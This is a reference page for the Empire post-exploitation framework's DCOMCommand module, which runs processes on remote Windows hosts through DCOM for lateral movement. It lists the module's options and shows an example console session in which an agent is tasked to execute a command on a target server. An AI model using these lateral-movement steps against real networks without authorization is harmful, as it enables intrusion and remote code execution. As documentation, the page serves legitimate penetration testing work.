DCOMCommand - Empire Module
This page contains detailed information about how to use the csharp/SharpSploit.LateralMovement/DCOMCommand Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: DCOMCommand
Module: csharp/SharpSploit.LateralMovement/DCOMCommand
Source code:
empire/server/modules/csharp/SharpSploit.LateralMovement.Covenant.yaml#L624
Language: C#
Needs admin: No
OPSEC safe: No
Background: No
The DCOMCommand module executes a process on a remote system using various DCOM methods.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the DCOMCommand module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the DCOMCommand module:
Agent
Agent to run module on.
Command
Executable to execute on the remote system.
ComputerName
ComputerName to execute the process on.
Default value: localhost
.
DotNetVersion
.NET version to compile against.
Default value: Net35
.
Suggested values: Net35
, Net40
.
Additional Module Options
This is a list of additional options that are supported by the DCOMCommand module:
Directory
Directory on the remote system containing the Command executable.
Method
DCOM method to use for execution.
Default value: MMC20.Application
.
Parameters
Command line parameters to pass to the Command.
DCOMCommand Example Usage
Here's an example of how to use the DCOMCommand module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/SharpSploit.LateralMovement/DCOMCommand
Author cobbr_io
Background False
Description Execute a process on a remote system using various DCOM methods.
Language csharp
Name csharp/SharpSploit.LateralMovement/DCOMCommand
NeedsAdmin False
OpsecSafe False
,Record Options-,-------------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|---------------|-------------------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|---------------|-------------------|----------|-------------------------------------|
| Command | | True | Executable to execute on the remote |
| | | | system. |
|---------------|-------------------|----------|-------------------------------------|
| ComputerName | localhost | True | ComputerName to execute the process |
| | | | on. |
|---------------|-------------------|----------|-------------------------------------|
| Directory | | False | Directory on the remote system |
| | | | containing the Command executable. |
|---------------|-------------------|----------|-------------------------------------|
| DotNetVersion | Net35 | True | .NET version to compile against |
|---------------|-------------------|----------|-------------------------------------|
| Method | MMC20.Application | False | DCOM method to use for execution. |
|---------------|-------------------|----------|-------------------------------------|
| Parameters | | False | Command line parameters to pass to |
| | | | the Command. |
'---------------'-------------------'----------'-------------------------------------'
(Empire: usemodule/csharp/SharpSploit.LateralMovement/DCOMCommand) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/SharpSploit.LateralMovement/DCOMCommand) > set Command SomeCommand
[*] Set Command to SomeCommand
(Empire: usemodule/csharp/SharpSploit.LateralMovement/DCOMCommand) > set ComputerName dbserver-01
[*] Set ComputerName to dbserver-01
(Empire: usemodule/csharp/SharpSploit.LateralMovement/DCOMCommand) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/SharpSploit.LateralMovement/DCOMCommand) > execute
[!] Error: csharpserver plugin not running
Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running
" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:
(Empire: usemodule/csharp/SharpSploit.LateralMovement/DCOMCommand) > useplugin csharpserver
,Record Options--,----------,----------------------------------,
| Name | Value | Required | Description |
|--------|-------|----------|----------------------------------|
| status | start | True | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'
(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/SharpSploit.LateralMovement/DCOMCommand) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
- cobbr_io
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/csharp/SharpSploit.LateralMovement.Covenant.yaml#L624
- https://twitter.com/cobbr_io
- https://twitter.com/_RastaMouse
See Also
Check also the following modules related to this module:
- csharp/SharpSploit.LateralMovement/WMIGrunt
- csharp/SharpSploit.LateralMovement/WMICommand
- csharp/SharpSploit.LateralMovement/PowerShellRemotingGrunt
- csharp/SharpSploit.LateralMovement/PowerShellRemotingCommand
- csharp/SharpSploit.LateralMovement/DCOMGrunt
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.